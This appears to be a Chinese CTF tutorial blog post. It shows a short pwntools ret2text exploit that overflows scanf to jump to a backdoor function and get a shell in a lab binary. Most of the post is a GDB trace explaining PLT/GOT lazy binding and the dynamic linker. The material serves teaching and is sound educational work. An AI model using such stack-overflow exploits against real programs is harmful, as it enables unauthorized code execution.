前段时间看到翁凯老师的一段话感觉特别励志,分享给大家:
学计算机一定要有一个非常强大的心理状态,计算机的所有东西都是人做出来的,别人能想得出来,我也一定能想得出来,在计算机里头没有任何黑魔法,所有的东西只不过是我现在不知道而已,总有一天我会把所有的细节、所有的内部的东西全都搞明白的,那个 scanf 里面到底怎么做事情的,只不过我们现在才刚开始学习,我们还没有来得及去看 scanf 的原始的代码是怎么样的,scanf 也不过是个函数,也不过是某个人给它写出来的,那个人和我们一样,同样只有一个脑袋而已。
目录
接下来我们将以一道很简单的 ret2text 题目为例进行 gdb 调试
为了方便理解我们还是简述一下题目信息
一、题目概述
64 位程序,开启 NX 保护

存在栈溢出

存在后门函数

思路:利用 scanf 栈溢出,劫持返回地址为后门函数的地址
exp:
from pwn import *
io = process('./pwn')
offset = 56
fact_addr = 0x40059A
payload = cyclic(offset)+p64(fact_addr)
io.sendline(payload)
io.interactive()
二、GDB动调
第一个参数是格式字符串 "%s",它告诉 scanf 函数:
从标准输入(stdin)中读取一个 字符串 (string),直到遇到空白字符(空格、换行符或 Tab)为止。

第二个参数是通过寄存器 rsi 传递,这里这个地址: 0x7ffd7a256780 是程序想要将读取到的字符串内容写入的内存地址
那么这里就会从栈顶开始写入
00:0000│ rsi rsp 0x7ffd7a256780 ◂— 2
接下来涉及到调用函数,也就是 call scanf@plt
会先将下一条指令压入栈
这里也就是:
0x4005ca <main+30> mov eax, 0
si 进入 scanf 函数,可以看到下一条指令被压入到栈顶

这是程序第一次调用 scanf 函数,它并不知道 scanf 在内存中的确切位置
这里我们需要认识一个新东西:Linux 延迟绑定机制
核心思想: 只有当程序第一次调用一个外部共享库函数时,才进行该函数的地址查找(符号解析)和重定位工作。在此之前,程序只知道如何跳转到 PLT 代码。
优点: 显著加快程序的启动速度,因为大多数程序在一次运行中并不会用到它依赖的所有外部函数。
GOT (全局偏移表 - Global Offset Table)
GOT 是一个位于程序数据段(通常是可读写)的表格。它是连接应用程序代码和外部库函数的核心桥梁。
作用:
-
存储地址: GOT 表的每个条目最终都存储了它所代表的外部函数的实际内存地址。
-
可写性: 延迟绑定需要 GOT 表是可写的,以便动态链接器可以在运行时修改条目。
PLT (过程链接表 - Procedure Linkage Table)
PLT 是一个位于程序代码段(通常是可执行)的小代码块。它是应用程序代码调用外部函数的跳板。
作用:
-
间接跳转: PLT 代码接收应用程序的函数调用,然后执行一个间接跳转指令,跳转的目标地址从 GOT 表中读取。
-
延迟触发: 它的设计保证了在函数第一次被调用时,能够将控制权交给动态链接器进行解析。
| 区域/结构 | 类型 | 存储内容 |
|---|---|---|
GOT 表 (.got.plt) | 数据 (可写) | 存储最终解析到的 函数地址。 |
PLT 表 (.plt) | 代码 (可执行) | 包含跳转到 GOT 表或动态链接器的 汇编指令。 |
PLT 和 GOT 的任务就是让程序暂停,找到这个地址,更新记录,然后跳转到真正的函数体
首先:从 main 函数到 PLT
| 地址 | 汇编指令 | 作用 |
|---|---|---|
0x4005c5 | call __isoc99_scanf@plt | 将返回地址 (0x4005ca) 压入栈,然后跳转到 PLT 中 scanf 的入口:0x400480。 |

接下来,PLT 自身跳转(第一次调用)
首先是:
0x400480 <__isoc99_scanf@plt> jmp qword ptr [rip + 0x200ba2] <__isoc99_scanf@plt+6>
CPU 计算出 rip + 0x200ba2,这个地址就是 GOT 表中为 scanf 保留的条目地址(我们称之为 GOT[scanf])
在程序刚启动时,动态链接器在加载程序时已经初始化了 GOT[scanf] 的内容
这个初始内容不是 scanf 的实际地址
而是指向 scanf 在 PLT 中代码块的第二条指令的地址:0x400486
jmp qword ptr [0x601018] //相当于执行 jmp 0x400486
说白了就是回到 PLT 自身的第二条指令
接着:
0x400486 <__isoc99_scanf@plt+6> push 2
2 被压入栈中,这个 2 是重定位索引号,是动态链接器用来查找 scanf 函数名字和地址的“身份证号”。
然后:
0x40048b <__isoc99_scanf@plt+11> jmp 0x400450
这是一次无条件跳转,目标是 PLT[0]
PLT[0] 是用于跳转到动态链接器的,是整个程序中所有未解析的库函数调用的通用入口
所有需要动态解析的函数,在执行完 push 自己的索引号之后,都会跳转到 PLT[0] 去启动动态链接器。

接下来 PLT 通用入口 (PLT[0]):准备解析
从应用程序代码(PLT)向系统动态链接器(ld-linux.so)移交控制权
PLT[0] 的作用是:
-
将动态链接器所需的 第二个参数(Link Map 地址)压入栈中。
-
无条件地跳转到动态链接器的入口点 (
_dl_runtime_resolve)。
0x400450 push qword ptr [rip + 0x200bb2]
将内存地址 rip + 0x200bb2 处存放的一个 8 字节(qword)值压入栈中,即压入 Link Map 地址
同样使用 rip 相对寻址,rip + 0x200bb2 指向 GOT 表的第二个条目,即 GOT[1]
存储的 Link Map 结构体地址,这是动态链接器工作所需的上下文信息
0x400456 jmp qword ptr [rip + 0x200bb4] <_dl_runtime_resolve_xsavec>
跳转到动态链接器: 这是一个跳转到 GOT[2] 存储的地址
GOT[2] 存放的是动态链接器(ld-linux.so)中的运行时符号解析函数 _dl_runtime_resolve 的入口
这条指令的作用是:将程序控制权从应用程序代码彻底移交给动态链接器 ld-linux.so
往下走,来到:
call _dl_fixup
调用 _dl_fixup,这是真正执行符号查找和 GOT 表更新的函数

_dl_fixup 是动态链接器(ld-linux.so)的核心函数,它的代码位于系统的共享库中
它执行的是非常复杂的,与操作系统和 ELF 文件格式紧密相关的任务
使用 finish 命令跳过复杂的 _dl_fixup 内部逻辑

call _dl_fixup 结束,GOT 表被更新
后续进行一些清理和跳转,最终,R11 中保存着 _dl_fixup 返回的、且已经被确认的 scanf 地址:0x7cafef862090

jmp r11
将控制流移交给 libc 中的 scanf 函数,执行 scanf 函数

scanf 函数执行完毕,返回地址被覆盖为我们的目标地址:0x40059A

ret 就会跳到 fact 函数

接着给 system 函数传参,然后调用,getshell

具体观察 GOT 条目的变化

_isoc99_scanf 对应的 GOT 条目的初始状态:
-
GOT 地址:
0x601028 -
初始内容:
0x0000000000400486(__isoc99_scanf@plt+6)
指向 scanf 在 PLT 中代码块的第二条指令的地址:0x400486

往下走,执行完 call _dl_fixup,再次查看:
pwndbg> x/gx 0x601028
0x601028 <__isoc99_scanf@got.plt>: 0x0000704189462090
GOT[scanf] 条目 (0x601028),它的内容已经被更新为 0x0000704189462090
0x0000704189462090 就是 __isoc99_scanf 函数的真实内存地址

至此,从应用程序代码到 scanf 的连接已经完成。
之后任何对 __isoc99_scanf@plt 的调用都会直接跳转到 0x704189462090,而不会再次触发动态链接解析过程。
不过程序每次运行,这个 GOT 条目的值都会被动态链接器更新为新的、随机的地址。
854

被折叠的 条评论
为什么被折叠?



